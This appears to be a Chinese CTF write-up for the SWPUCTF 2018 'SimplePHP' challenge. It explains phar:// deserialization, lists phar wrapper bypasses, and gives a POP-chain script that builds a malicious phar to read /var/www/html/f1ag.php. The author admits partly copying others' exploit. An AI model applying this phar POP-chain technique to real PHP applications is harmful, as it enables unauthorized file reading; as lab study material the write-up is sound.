[SWPUCTF 2018]SimplePHP

[SWPUCTF 2018]SimplePHP

打开环境

[SWPUCTF 2018]SimplePHP

查看文件处可以查看源码

file.php

[SWPUCTF 2018]SimplePHP

里面包含function.php和class.php,继续查看源码

function.php

[SWPUCTF 2018]SimplePHP

class.php

[SWPUCTF 2018]SimplePHP

base.php

[SWPUCTF 2018]SimplePHP

上传页的源码

upload_file.php

[SWPUCTF 2018]SimplePHP

文件上传处调用了upload_file()函数,这个函数的声明在function.php中,执行过程是先通过upload_file_check()函数的检查,再执行upload_file_do()函数。

upload_file_check()函数,只检查后缀,不检查文件头,白名单机制,"gif","jpeg","jpg","png"

upload_file_do()函数,将文件的完整名和我的IP地址拼接在一起后进行md5加密,再在名字后拼接一个jpg的后缀进行上传

分析到这里就知道截断没法用了,因为你即使截断了文件名,他最后的操作也是将你截断后的文件名md5加密后再拼接jpg后缀;接着由于是白名单机制,所以.htaccess也没法上传,所以这块是没法绕过的,这不是一道普通的文件上传题。

这题根据源码查看可以猜到应该和反序列化有关,但又由于不存在unserialize()函数,因此常规反序列化的思路走不通,所以这里需要借助phar协议触发反序列化操作。

这里首先疏通一下phar协议的知识点(主要参考:https://www.cnblogs.com/sijidou/p/13121358.html)

  1. phar协议的生效版本为5.3.0,也就是说这个版本之前是无法使用关于phar的任何功能的
  2. phar是一种php语言的文件的后缀
  3. 使用phar需要在php.ini文件中开启对应的配置
[Phar]
phar.readonly = Off
  1. 生成phar文件的代码格式如下:
<?php
	//反序列化payload构造
     class TestObject {
     }

     @unlink("phar.phar");
     $phar = new Phar("phar.phar"); //后缀名必须为phar
     $phar->startBuffering();
     //设置stub,GIF89a可以改成其他的字段,绕过文件头检验,但必须以 __HALT_COMPILER(); ?> 结尾
     $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");

 	//将反序列化的对象放入该文件中
     $o = new TestObject();
     $o->data='just a test';
     $phar->setMetadata($o);

 	//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
     $phar->addFromString("test.txt", "test"); 
     $phar->stopBuffering();
 ?>
  1. 在禁止phar开头的情况下的替代方法

    compress.zlib://phar://phar.phar/test.txt
    compress.bzip2://phar://phar.phar/test.txt
    php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt
    

    虽然会报warning,但是还是会执行

分析

file.php文件

首先这个文件的主要作用就是去执行_show()这个函数,所以转而去找show函数的位置

class.php文件

最终在class中找到此函数,继续分析发现有个魔术方法construct,他会在函数构造时将传入的参数赋值给source,并且后边注释给到提示用phar

tostring也是一个魔术方法,会在直接输出对象引用时自动调用,所以要找到能直接输出这个函数的地方,发现cle4r中有个echo的地方可以利用。

这个方法中有个$this->str['str']->source,首先找到str这个数组,取出key值为str的value值赋给source

__get():它可以在对象的外部获取私有成员属性的值

__set( $property, $value )方法用来设置私有属性, 给一个未定义的属性赋值时,此方法会被触发,传递的参数是被设置的属性名和值。

这里面的关系实在是太乱了,分析了老半天也没把里面的关系搞得很清晰,只能看着别人写的exp,大概猜出pop链的执行过程

class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show;   //利用  $this->test = $this->str; echo $this->test;
$show->str['str'] = $test;  //利用 $this->str['str']->source;

$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

最后的倔强:

echo出来的东西就是show类中的tostring方法的返回值,这个返回值,要先找到str这个数组,然后取出key的值为str的value的值,再把这个值赋给source,然而这个值又不存在,不存在就又会调用__set()方法,这个方法会把Test类返回过来的值赋值给str,最后content里面的内容其实就是Test类中返回过来的值,即base64编码后的源文件内容

上一篇:质数筛(埃氏筛)


下一篇:web漏洞——php反序列化